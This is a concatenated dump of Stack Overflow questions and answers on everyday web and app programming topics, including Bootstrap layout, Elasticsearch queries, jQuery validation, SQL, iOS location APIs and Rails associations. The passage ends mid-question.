31862922	0	 <p>The same as option #1 from @zessx, but without overriding CSS. This one also aligns labels to the right to increase space between label-control pairs. Class "media" is there to add top margin without creating a custom class, but in general case it is better to have a custom one.</p> <pre><code>&lt;div class="form-horizontal"&gt; &lt;legend&gt;Form legend&lt;/legend&gt; &lt;div class="media col-xs-12 col-sm-6 col-lg-3"&gt; &lt;label for="InputFieldA" class="control-label text-right col-xs-4"&gt;Field A&lt;/label&gt; &lt;div class="input-group col-xs-8"&gt; &lt;input type="text" class="form-control" id="InputFieldA" placeholder="InputFieldA"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="media col-xs-12 col-sm-6 col-lg-3"&gt; &lt;label for="InputFieldB" class="control-label text-right col-xs-4"&gt;Field B&lt;/label&gt; &lt;div class="input-group col-xs-8"&gt; &lt;input type="text" class="form-control" id="InputFieldB" placeholder="InputFieldB"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="media col-xs-12 col-sm-6 col-lg-3"&gt; &lt;label for="InputFieldC" class="control-label text-right col-xs-4"&gt;Field C&lt;/label&gt; &lt;div class="input-group col-xs-8"&gt; &lt;input type="text" class="form-control" id="InputFieldC" placeholder="InputFieldC"&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="media col-xs-12 col-sm-6 col-lg-3"&gt; &lt;button type="submit" class="btn btn-default col-xs-8 col-xs-offset-4"&gt;Submit Button&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><a href="http://www.bootply.com/UnBZXGwjcj" rel="nofollow">Bootply</a></p>
20753449	0	 <p>To do this, you could e.g. use a <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/query-dsl-bool-query.html" rel="nofollow">bool</a>-query with a <code>should</code> to weigh in a <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/query-dsl-span-first-query.html" rel="nofollow">span_first</a>-query which in turn has a <a href="http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/query-dsl-span-multi-term-query.html" rel="nofollow">span_multi</a></p> <p>Here is a runnable example you can play with: <a href="https://www.found.no/play/gist/8107157" rel="nofollow">https://www.found.no/play/gist/8107157</a></p> <pre><code>#!/bin/bash export ELASTICSEARCH_ENDPOINT="http://localhost:9200" # Index documents curl -XPOST "$ELASTICSEARCH_ENDPOINT/_bulk?refresh=true" -d ' {"index":{"_index":"play","_type":"type"}} {"title":"Female"} {"index":{"_index":"play","_type":"type"}} {"title":"Female specimen"} {"index":{"_index":"play","_type":"type"}} {"title":"Microscopic examination of specimen from female"} ' # Do searches # This will match all documents. curl -XPOST "$ELASTICSEARCH_ENDPOINT/_search?pretty" -d ' { "query": { "prefix": { "title": { "prefix": "femal" } } } } ' # This matches only the two first documents. curl -XPOST "$ELASTICSEARCH_ENDPOINT/_search?pretty" -d ' { "query": { "span_first": { "end": 1, "match": { "span_multi": { "match": { "prefix": { "title": { "prefix": "femal" } } } } } } } } ' # This matches all, but prefers the one's with a prefix match. # It's sufficient that either of these match, but prefer that both matches. curl -XPOST "$ELASTICSEARCH_ENDPOINT/_search?pretty" -d ' { "query": { "bool": { "should": [ { "span_first": { "end": 1, "match": { "span_multi": { "match": { "prefix": { "title": { "prefix": "femal" } } } } } } }, { "match": { "title": { "query": "femal" } } } ] } } } ' </code></pre>
22882580	0	Put date range to array <p>I have two JQuery datepicker on my page, I want to put all the days between the two dates to an array.</p> <p>How Can I work it out? Here is my snippet:</p> <pre><code>function mennyi() { var dtFrom = document.getElementById('arrival').value; var dtTo = document.getElementById('departure').value; var dt1 = new Date(dtFrom); var dt2 = new Date(dtTo); var diff = dt2.getDate() - dt1.getDate(); var days = diff; alert(dtTo); document.getElementById("nights").innerHTML = days + " nights"; { $('#arrival').datepicker({ dateFormat: 'dd-mm-yy' }).val(); $('#departure').datepicker({ dateFormat: 'dd-mm-yy' }).val(); var start = new Date(document.getElementById('arrival').value), end = new Date(document.getElementById('departure').value), currentDate = new Date(start), between = [] ; while (end &gt; currentDate) { between.push(new Date(currentDate)); currentDate.setDate(currentDate.getDate() + 1); } $('#lista').html(between.join('&lt;br&gt; '));}; return false; } function isNumeric(val) { var ret = parseInt(val); }; </code></pre> <p>Now it works, but the thing is how can I change the date format, before I put the string into the array? </p>
24572646	0	 <p>Just a thought(hadn't tried practically)</p> <pre><code>SELECT * FROM TABLE_NAME having max(na) = na GROUP BY nm_mp </code></pre> <p>If it works or doesn't work, do tell me. Its for all category.</p> <p>For just that two category, try this.</p> <pre><code>SELECT * FROM TABLE_NAME WHERE nm_mp IN('matematika', 'bahasa inggris') having max(na) = na GROUP BY nm_mp </code></pre>
2452414	0	http handlers not working on web server but works on localhost <p>i have a couple of xml files in my asp.net web application that i don't want anyone to access other than my server side code. this is what i tried..</p> <pre><code>&lt;add verb="*" path="*.xml" type="System.Web.HttpForbiddenHandler" /&gt; </code></pre> <p>i wrote this inside the <b>&lt;httpHandlers&gt;</b></p> <p>it works well on the localhost but not in the server... the server without any hesitation displays the xml file... i have no idea how to proceed... </p> <p>thanks in advance..:)</p> <p><b>Update</b>: the server has IIS6, windows server 2003</p>
15525673	0	 <p>The code sample you provided will not work. You need to return the new size or pass in the reference to the form object.</p> <pre><code> public void SetFormProperties(Form form){ fprm.Size = new Size(20,20); } SetFormPropertoes(form); </code></pre> <p>OR</p> <pre><code> public Size GetFormSize(){ return new Size(20,20); } from.Size = GetFormSize(); </code></pre>
18833771	0	 <p>"android:process" and "android:taskAffinity" allows you to have different processes and affinities within the same package (application). </p> <p>"android:multiprocess" simply means if you want to allow the activity to have a different process-id. This only works within the same app, not when the activity is started from a different a different package. </p> <p>What are you exactly trying to do? If you want to share the same context and private files, you should use sharedUserId instead (you have to sign them using the same certificate as well). </p>
1299551	0	 <p>The other answers here are similar but ...</p> <pre><code>Sub DiplayData(rst) Response.Write rst.Source End Sub DisplayData rs1 </code></pre> <p>Note <code>Sub</code> not <code>Function</code> since no value is returned. Also where you call a procedure as statement rather than as a function whose value you are assigning to a variable, do not enclose the parameters in ( ).</p>
19191449	0	iOS FBDialog crashes after clicking on Post <p>I am trying to create a share dialog to post on Facebook the user action. To do that I use this code:</p> <pre><code>id&lt;FBGraphObject&gt; fbObject = [FBGraphObject openGraphObjectForPostWithType:@"namespace:action" title:@"Titolo" image:imageURL url:URL description:@"descrizione"]; id&lt;FBOpenGraphAction&gt; action = (id&lt;FBOpenGraphAction&gt;)[FBGraphObject graphObject]; [action setObject:fbObject forKey:@"samplename"]; [FBDialogs presentShareDialogWithOpenGraphAction:action actionType:@"namespace:action" previewPropertyName:@"samplename" handler:^(FBAppCall *call, NSDictionary *results, NSError *error) { if(error) { NSLog(@"Error: %@", error.description); } else { NSLog(@"Success"); } }]; </code></pre> <p>The fbdialog is correctly displayed, but when I click on "Post" to complete the posting, the progress bar on facebook stops and I am redirected again to my app, so it fails the posting.</p> <p>Everything works fine by posting with the Graph API Explorer but I am not able to do that from the app.</p>
40170934	0	jqueryUI datepicker not showing within ng-if directive of angularjs <p>I have a sample <a href="https://jsfiddle.net/mpsbhat/qx9sxo8w/4/" rel="nofollow">here</a> where date picker is defined as </p> <pre><code>&lt;div ng-if="show_d"&gt; &lt;input id="date2" type="text" ng-model="date2"&gt; &lt;/div&gt; </code></pre> <p>which is not fires the datepicker if that field is put inside <code>ng-if</code> directive.</p>
18166021	0	 <p>If it's just a single input, you can use <a href="https://developer.mozilla.org/en-US/docs/Web/API/window.prompt" rel="nofollow">the built-in prompt()</a> method.</p> <p>Otherwise, you would have to <a href="http://stackoverflow.com/questions/6265574/popup-form-using-html-javascript-css">pop up your own form</a>.</p>
12156550	0	 <p>if i'd understood your correctly, python example:</p> <pre><code>&gt;&gt;&gt; a=[1,2,3,4,5,6,7,8,9,0] &gt;&gt;&gt; &gt;&gt;&gt; &gt;&gt;&gt; len_a = len(a) &gt;&gt;&gt; b = [1] &gt;&gt;&gt; if len(set(a) - set(b)) &lt; len_a: ... print 'this integer exists in set' ... this integer exists in set &gt;&gt;&gt; </code></pre> <p>math base: <a href="http://en.wikipedia.org/wiki/Euler_diagram" rel="nofollow">http://en.wikipedia.org/wiki/Euler_diagram</a></p>
5888401	0	 <p>I blogged on this. It's not that straight forward and a bit confusing, but simple really.</p> <p><a href="http://a.shinynew.me/post/4641524290/jquery-ui-nested-sortables" rel="nofollow">http://a.shinynew.me/post/4641524290/jquery-ui-nested-sortables</a></p>
1953036	0	 <p>You can always use a Python property to accomplish your goal:</p> <pre><code>class ClassA(db.Model): name = db.StringProperty() def __get_classBdeleted(self): return self.classB_set.filter('deleted_flag =', 'True') classBdeleted = property(__get_classBdeleted) class ClassB(db.Model): name = db.StringProperty() deleted_flag = db.BooleanProperty() classA = db.ReferenceProperty(ClassA) </code></pre>
35563424	0	 <p>Try calling</p> <p><code>chart.notifyDataChanged()</code></p> <p>and</p> <p><code>chart.invalidate()</code></p> <p>After setting the offsets.</p>
10387135	0	 <p>If you want the element to not be visible AND not take in any space you should do:</p> <pre><code>.hidden { display: none; } </code></pre> <p>However if you want to hide the element, but let it take in space you should do:</p> <pre><code>.hidden { visibility: hidden; } </code></pre> <p>See this <a href="http://jsfiddle.net/PeeHaa/gydZV/" rel="nofollow">simple demo</a> for an example.</p> <p>The fact that you think the style is overwritten by the user-agent is that the user-agent doesn't recognize the style you are trying to use (because it is invalid).</p>
24375467	0	 <p>There are a couple of things here, largely for XML you're going to have to realize that proper XML is organized by a structure of node types. These types and their consistency is defined by the name of the node, so having a different node name for what are essentially the same type, is wrong. Consider this XML:</p> <pre><code>&lt;DocumentElement&gt; &lt;Folders&gt; &lt;Direction Key="folder0"&gt; &lt;question&gt; &lt;ask&gt;Which do you want to go?&lt;/ask&gt; &lt;answer go='folder1'&gt;Go to Left&lt;/answer&gt; &lt;answer go='folder2'&gt;Go to Right&lt;/answer&gt; &lt;/question&gt; &lt;/Direction&gt; &lt;Direction Key="folder1"&gt; &lt;question&gt; &lt;ask&gt;You went left.&lt;/ask&gt; &lt;answer go='finish1'&gt;Go to Finish&lt;/answer&gt; &lt;answer go='finish2'&gt;Go to Finish&lt;/answer&gt; &lt;/question&gt; &lt;/Direction&gt; &lt;/Folders&gt; &lt;Finishers&gt; &lt;finish key="finish1"&gt; &lt;role&gt; &lt;name&gt;Hello World&lt;/name&gt; &lt;description&gt;COOL THING&lt;/description&gt; &lt;/role&gt; &lt;/finish&gt; &lt;finish key="finish2"&gt; &lt;role&gt; &lt;name&gt;FINISH2&lt;/name&gt; &lt;description&gt;COOL THING 2&lt;/description&gt; &lt;/role&gt; &lt;/finish&gt; &lt;/Finishers&gt; &lt;/DocumentElement&gt; </code></pre> <p>Now, I don't fully understand what you are trying to do, so this probably isn't an accurate solution in terms of your <strong>specific</strong> needs, but my goal is to give you an understanding of how Xml works in terms of organizing your data.</p> <p>Your jQuery when using this structure can now be better organized by searching for Keys as attritbutes and node types by their name.</p>
13390109	0	iOS 6 CLLocationManager last location <p>So, as of iOS 6, <code>-locationManager:didUpdateToLocation:fromLocation:</code> is deprecated.</p> <p>Apple suggests, instead, using <code>-locationManager:didUpdateLocations:</code>, which provides anywhere from one to a series of recent location changes. However, in the incredibly likely chance it provides a <code>locations</code> array of length 1, there appears to be no way to access the <code>fromLocation:(CLLocation *)oldLocation</code> parameter of old.</p> <p>Is there a way to get at this information without using deprecated methods?</p>
29108765	0	How do I AJAX post to an MVC action from within a javascript file? <p>The following code exists in a file called <em>job.js</em>. When I run this code against localhost everything behaves properly. When I do so against my intranet server where there is an application name I get a 404. </p> <pre><code>Job.updateJob = function () { $.post('/Builder/ListJobItems', function (data) { ... }); } </code></pre> <p>I would love to use <code>@Url.Action()</code> but as I said this is javascript (.js) file. I am also aware of the hack where you put a data value onto the body element, but for architectural reasons, I want this code to be decoupled from the DOM. It is a data acquisition engine, why should it even know what a DOM is.</p> <p>I would be fine with a solution that parses <code>window.location</code> in some fashion, but the problem that I am having their is that I need a solution that will work everywhere.</p> <p>What frustrates me most is that I can't see how this isn't a problem everyone would face. Why isn't there a solution? Does everyone just put all of their JavaScript into the razor view? Does no one isolate code into modules anymore? I can't believe either of these is true, and yet there don't seem to be any forth coming solutions for this. I am at a loss.</p>
11885973	0	how to automatically make new file with mvim <p>When I run <code>mvim .</code> it opens NERDTree but doesnt open a new file/buffer.</p> <ol> <li><p>How might I accomplish this? Ideally when you type <code>mvim .</code> from terminal it would open MacVim, close NERDtree, and open a new buffer</p></li> <li><p>I'm not sure if this is possible but is there a way that if I run <code>mvim .</code> from the command line multiple times it wouldn't open vim in a new window each time?</p></li> </ol>
13124424	0	Include static sitemap in Liferay <p>I'm in need of putting a static <code>sitemap.xml</code> file, because Liferay does not generate all of the desired links, and a few that shouldn't be there. I think it's because it's heavily altered by my <code>ext-plugin</code>. </p> <p>Question is, that is it possible to set up a static <code>sitemap.xml</code>(used by google robots) in the portal root, not being changed by Liferay itself?</p> <p>Using: Liferay 6.0.6</p> <p>Thanks in advance :)</p>
10725323	0	 <p>Make sure you don't have a space character before or after the entry in the "Work with" field as you try to add the software site.</p> <p>Other than that, the software site is perfectly valid. Perhaps the server was just down at the time you tried it. You could also check to verify that there is no proxy or firewall filtering on your end. Try pinging the site or accessing it in some other way. If Eclipse can't talk to the site, it has no way of knowing that it is valid.</p>
11995138	0	 <p>I ended up figuring some thing out that would work let me know what you all think.</p> <pre><code>$Des = "c:\test\" $DListFiles = Get-ChildItem $Des -EA 0 Switch($Des) { {!$Des} {$DDE = 4; break} {((Test-Path $Des)-ne $false -and $DListFiles -eq $null)} {$DDE = 1; break} {((Test-Path $Des)-ne $false -and $DListFiles -ne $null)} {$DDE = 2; break} {((Test-Path $Des)-eq $false)} {$DDE = 3; break} } $DDE </code></pre>
28577699	0	 <p>You don't have to call <code>Flush()</code> on <code>Close()/Dispose()</code>, <code>FileStream</code> will do it for you as you can see from its <em>source code</em>: </p> <p><a href="http://referencesource.microsoft.com/#mscorlib/system/io/filestream.cs,e23a38af5d11ddd3">http://referencesource.microsoft.com/#mscorlib/system/io/filestream.cs,e23a38af5d11ddd3</a></p> <pre><code> [System.Security.SecuritySafeCritical] // auto-generated protected override void Dispose(bool disposing) { // Nothing will be done differently based on whether we are // disposing vs. finalizing. This is taking advantage of the // weak ordering between normal finalizable objects &amp; critical // finalizable objects, which I included in the SafeHandle // design for FileStream, which would often "just work" when // finalized. try { if (_handle != null &amp;&amp; !_handle.IsClosed) { // Flush data to disk iff we were writing. After // thinking about this, we also don't need to flush // our read position, regardless of whether the handle // was exposed to the user. They probably would NOT // want us to do this. if (_writePos &gt; 0) { FlushWrite(!disposing); // &lt;- Note this } } } finally { if (_handle != null &amp;&amp; !_handle.IsClosed) _handle.Dispose(); _canRead = false; _canWrite = false; _canSeek = false; // Don't set the buffer to null, to avoid a NullReferenceException // when users have a race condition in their code (ie, they call // Close when calling another method on Stream like Read). //_buffer = null; base.Dispose(disposing); } } </code></pre>
36857917	0	 <p>I came with the same problem and my friend I found a quick solution for this.</p> <p>You have to just add a single line before your code.</p> <pre><code>ob_clean(); $ical = "BEGIN:VCALENDAR VERSION:2.0"; </code></pre>
13879311	0	 <p>OK, lets start from the simplest one (Your first rule):</p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' GROUP BY q.id,a.username </code></pre> <p>Now lets add Your second rule - now more complexity is added...</p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' AND q.target_username = 'mikha' OR q.target_username IN ( SELECT username2 FROM connections WHERE username1 = 'mikha' ) GROUP BY q.id,a.username </code></pre> <p>Now the third rule (for everyone answered by mikha):</p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' AND q.target_username = 'mikha' OR q.target_username IN ( SELECT username2 FROM connections WHERE username1 = 'mikha' ) OR (q.target_username = 'every.one' AND a.username = 'mikha') GROUP BY q.id,a.username </code></pre> <p>Now for the fourth rule:</p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' AND q.target_username = 'mikha' OR q.target_username IN ( SELECT username2 FROM connections WHERE username1 = 'mikha' ) OR (q.target_username = 'every.one' AND a.username = 'mikha') OR (q.target_username = 'every.one' AND a.username IN ( SELECT username2 FROM connections INNER JOIN answers ON answers.username = connections.username2 AND answers.answers IS NOT NULL WHERE username1 = 'mikha' )) GROUP BY q.id,a.username </code></pre> <p>Fifth rule (Jesus!):</p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' AND q.target_username = 'mikha' OR q.target_username IN ( SELECT username2 FROM connections WHERE username1 = 'mikha' ) OR (q.target_username = 'every.one' AND a.username = 'mikha') OR (q.target_username = 'every.one' AND a.username IN ( SELECT username2 FROM connections INNER JOIN answers ON answers.username = connections.username2 AND answers.answers IS NOT NULL WHERE username1 = 'mikha' )) OR (q.target_username = 'every.one' AND a.answer IS NULL) GROUP BY q.id,a.username </code></pre> <p>And for the last one: </p> <pre><code>SELECT q.id, a.id, q.asker_username, q.target_username, a.username, q.question, a.answer FROM questions q LEFT JOIN answers a ON q.id = a.id WHERE q.asker_username &lt;&gt; 'mikha' AND q.target_username = 'mikha' OR q.target_username IN ( SELECT username2 FROM connections WHERE username1 = 'mikha' ) OR (q.target_username = 'every.one' AND a.username = 'mikha') OR (q.target_username = 'every.one' AND a.username IN ( SELECT username2 FROM connections INNER JOIN answers ON answers.username = connections.username2 AND answers.answers IS NOT NULL WHERE username1 = 'mikha' )) OR (q.target_username = 'every.one' AND a.answer IS NULL) OR (q.target_username = 'every.one' AND a.username NOT IN ( SELECT username2 FROM connections INNER JOIN answers ON answers.username = connections.username2 AND answers.answers IS NOT NULL WHERE username1 = 'mikha' )) GROUP BY q.id,a.username </code></pre> <p>I think that rule 4 and rule 6 are kinda against each other (contradicting could be said) and when used in one query it would have the same effect as if omitted...</p> <p>I didn't test any of the queries but I believe they work.</p>
15917460	0	Expand to the largest contained "positioned" block? <p>In a container can you <em>in any way</em> position two blocks <em>above each other</em> (eg absolute) and make the container expand to the size/height of the largest one?</p> <p>If using <code>position: absolute</code> the container does not expand to the size of the positioned element.</p> <p><em>Is there any way to get this effect with CSS?</em></p> <hr> <p>Illustrative (defunct) example:</p> <pre><code>&lt;div class="wrap"&gt; &lt;div class="foo"&gt;foo&lt;/div&gt; &lt;div class="bar"&gt;bar&lt;/div&gt; &lt;/div&gt; </code></pre> <p>CSS:</p> <pre><code>.wrap{ position: relative; } .foo{ height: 40px; } .bar{ height: 60px; width: 100%; position: absolute; top: 0; left: 0; } </code></pre> <p>jsFiddle: <a href="http://jsfiddle.net/qjFR9/" rel="nofollow">http://jsfiddle.net/qjFR9/</a></p> <p>I'd like to position <code>.bar</code> over <code>.foo</code> (position <code>.bar</code> as if there was no <code>.foo</code>) and <code>.wrap</code> should be the height of the largest child.</p>
37059045	0	 <p>You can use the OAuth 2.0 API for this. Try <a href="https://developers.google.com/apis-explorer/#p/oauth2/v2/oauth2.tokeninfo" rel="nofollow">tokeninfo in the API Explorer</a>.</p>
12939213	0	Trying to generate incremental numbers in a function with foreach <p>This function creates <code>&lt;li&gt;</code> tags and im trying to give each <code>li</code> tag a unique CSS class name, I've tried to create a <code>for</code> loop to generate numbers but this is producing the number 7 rather than counting down to the number 7 in <code>&lt;li&gt;</code> tag. </p> <p>any help greatly appreciated!</p> <pre><code>function the_meta() { if ( $keys = get_post_custom_keys() ) { echo "&lt;ul class='post-meta'&gt;\n"; //tried to add this counter here to generate incremental numbers in the foreach loop for ($i = 0; $i &lt;= 6; $i++) { } foreach ( (array) $keys as $key ) { $keyt = trim($key); if ( is_protected_meta( $keyt, 'post' ) ) continue; $values = array_map('trim', get_post_custom_values($key)); $value = implode($values,', '); echo apply_filters('the_meta_key', "&lt;li class='$i'&gt;&lt;span class='post-meta-key'&gt;$key:&lt;/span&gt; $value&lt;/li&gt;\n", $key, $value); } echo "&lt;/ul&gt;\n"; } } </code></pre>
31622387	0	 <p>The Streams from the linked answer seem like an analog of core.async channels.</p> <p>Instead of removing all listeners each event maybe pass in a channel that has event details put to it. The same channel should go to the button's logic handler where it will repeatedly be taken from.</p>
14596500	0	what are the options for hadoop on scala <p>We are starting a big-data based analytic project and we are considering to adopt scala (typesafe stack). I would like to know the various scala API's/projects which are available to do hadoop , map reduce programs. </p>
7146909	0	Validate HTML form with JQuery <p>Can someone see where I'm going wrong with this form validation? I was using an example I found online and it does not work for me. </p> <p>I want to validated the input fields with the jquery before passing it on to the server side script. It supposed to print error message next to the field where the user is missing an input.</p> <p>Here's the code:</p> <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;Register&lt;/title&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-5"&gt; &lt;link rel="stylesheet" type="text/css" href="style1.css" /&gt; &lt;link rel="stylesheet" type="text/css" href="forms.css" /&gt; &lt;script src="http://code.jquery.com/jquery-latest.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://dev.jquery.com/view/trunk/plugins/validate/jquery.validate.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(document).ready(function() { $("#registerform").validate({ rules: { username: "required", firstname: "required", email: {// compound rule required: true, passwd: true, email: true, }, username:{ username: true }, url: { url: true }, comment: { required: true } }, messages: { comment: "Please enter a comment." } }); }); &lt;/script&gt; &lt;style type="text/css"&gt; label { width: 10em; float: left; } label.error { float: none; color: red; padding-left: .5em; vertical-align: top; } p { clear: both; } .submit { margin-left: 12em; } em { font-weight: bold; padding-right: 1em; vertical-align: top; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; Please register below &lt;p /&gt; &lt;form action=" " id="registerform" method="POST"&gt; &lt;table cellspacing="9"&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Username:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="username" size="30"&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;First name:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="firstname" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Surname:&lt;/b&gt; &lt;/td&gt;&lt;td&gt;&lt;input type="text" name="lastname" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Email : &lt;/b&gt; &lt;/td&gt;&lt;td&gt;&lt;input type="text" name="email" size="30"/&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Password :&lt;/b&gt; &lt;/td&gt;&lt;td&gt;&lt;input type="password" name="passwd" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Telephpone:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="telephone" size="30"/&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;House No:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="ad1" size="30"/&gt;&lt;/td&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Street Name:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="street" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Town/ City:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="town" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;td&gt;&lt;b&gt;Post code:&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="pcode" size="30"/&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt; &lt;p /&gt; &lt;input class="submit" type="submit" value="Sign Up!" /&gt; &lt;input type="reset" value ="Clear Form" onClick="return confirm('Are you sure you want to reset the form?')"&gt; &lt;/form&gt; &lt;/body&gt; </code></pre> <p></p> <p>Here's the code the original code that I got from a website somewhere and it works. But I can't seem to use the example in my code.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;Simple Form Validation&lt;/title&gt; &lt;script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://dev.jquery.com/view/trunk/plugins/validate/jquery.validate.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; $(document).ready(function() { $("#form2").validate({ rules: { name: "required",// simple rule, converted to {required:true} email: {// compound rule required: true, email: true }, url: { url: true }, comment: { required: true } }, messages: { comment: "Please enter a comment." } }); }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form2" method="post" action=""&gt;&lt;br /&gt; Name * &lt;input type="text" name="name" /&gt; &lt;br /&gt; E-Mail *&lt;input type="text" name="email" /&gt; &lt;br /&gt; URL &lt;input type="text" name="url" /&gt; &lt;br /&gt; Your comment * &lt;textarea name="comment" &gt;&lt;/textarea&gt; &lt;br /&gt; &lt;input class="submit" type="submit" value="Submit"&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><strong>Update:</strong> Thanks to @Usman it's now working. One more question though, is it possible to change the default error message instead of the <strong><em>'This field is required'</em></strong> ?</p> <p>Thanks</p>
570461	0	 <p>Since you're using a <code>TcpClient</code>, that means you're checking open TCP ports. There are lots of good objects available in the <a href="http://msdn.microsoft.com/en-us/library/system.net.networkinformation.aspx" rel="nofollow noreferrer">System.Net.NetworkInformation</a> namespace.</p> <p>Use the <code>IPGlobalProperties</code> object to get to an array of <code>TcpConnectionInformation</code> objects, which you can then interrogate about endpoint IP and port.</p> <hr> <pre><code> int port = 456; //&lt;--- This is your value bool isAvailable = true; // Evaluate current system tcp connections. This is the same information provided // by the netstat command line application, just in .Net strongly-typed object // form. We will look through the list, and if our port we would like to use // in our TcpClient is occupied, we will set isAvailable to false. IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties(); TcpConnectionInformation[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpConnections(); foreach (TcpConnectionInformation tcpi in tcpConnInfoArray) { if (tcpi.LocalEndPoint.Port==port) { isAvailable = false; break; } } // At this point, if isAvailable is true, we can proceed accordingly. </code></pre>
27175544	0	Inno Setup Language Dialog Custom page <p>So, if i can't change Language Dialog, can i create one my custm language dialog?</p> <p>In my installer I have only one custom page, the installation page and at end the finish page.</p> <p>I can put a combo (with 2 language) in my custom page and on change, refresh all label?</p> <p>Thanks</p>
35165718	0	 <p>I have same issue. Facebook say they are aware of it and its not a high priority as it doesn't affect the app. I regressed back to 4.7.1 where the warning issue is no longer present.</p> <p>I don't think it would be rejected but can't be sure.</p>
37979276	0	Google Maps: How to draw labels (country, city names, etc.) over my overlay <p>I need to draw some graphics over google maps. Graphics is not always transparent, so I'd like to draw text labels (country names, city names, etc.) over my graphics.</p> <p>For graphics I use <a href="https://developers.google.com/maps/documentation/javascript/maptypes#OverlayMapTypes" rel="nofollow">overlay map type</a> , it is shown over base map. But I failed to draw labels over it?</p> <p>I guessed that there shall be a way to draw base map twice, with different style settings (so I style map with not labels, put my overlay, and then put overlay with roadmap with labels only), but it does not seem like I can use basic map types as overlay ones. Another way I see is to manually get tile with labels only by composing URL. This works, but as far as I understand accessing map tiles directly is prohibited by ToS.</p> <p>Is there a working and, well, legal way to do that?</p> <p>Here is jsfiddle which illustrates URL composing solution: <a href="https://jsfiddle.net/GRaAL/jyr81p2c/" rel="nofollow">https://jsfiddle.net/GRaAL/jyr81p2c/</a></p> <pre><code>// here is how I get google maps tile with labels only function getLabelsOnlyTile(coord, zoom) { return "https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i" + zoom + "!2i" + (coord.x) + "!3i" + (coord.y) + "!4i512!2m3!1e0!2sm!3i353022921!3m14!2sen!3sUS!5e18!12m1!1e47!12m3!1e37!2m1!1ssmartmaps!12m4!1e26!2m2!1sstyles!2zcC52Om9mZixzLmU6bHxwLnY6b24!4e0"; } </code></pre>
34667213	0	Validate uniqueness of name in a HABTM association <p>I have an <code>Artist</code> model that has many <code>Album</code>s in a HABTM association. Though I would like to permit two different albums to have the same name I'd like to ensure that there aren't two in the collection of one artist. So far example:</p> <pre><code>artist_1 = Artist.create(name: "Jay-Z") artist_2 = Artist.create(name: "The Beatles") album_1 = Album.create(name: "The Black Album", artist_ids: [1]) album_2 = Album.create(name: "The Black Album", artist_ids: [1]) =&gt; Should return error album_2 = Album.create(name: "The Black Album", artist_ids: [2]) =&gt; Should not return an error </code></pre> <p>I first thought of validating the uniqueness of the name in the <code>Album</code> model but get this error when I try to create a new object:</p> <pre><code>SQLite3::SQLException: no such column: albums.artist_id: SELECT 1 AS one FROM "albums" WHERE ("albums"."name" = 'The Black Album' AND "albums"."artist_id" IS NULL) LIMIT 1 </code></pre> <p>I then thought of putting the validation in my join model, <code>AlbumArtist</code> but get the error <code>undefined method 'name'</code> (<code>name</code> is one of the 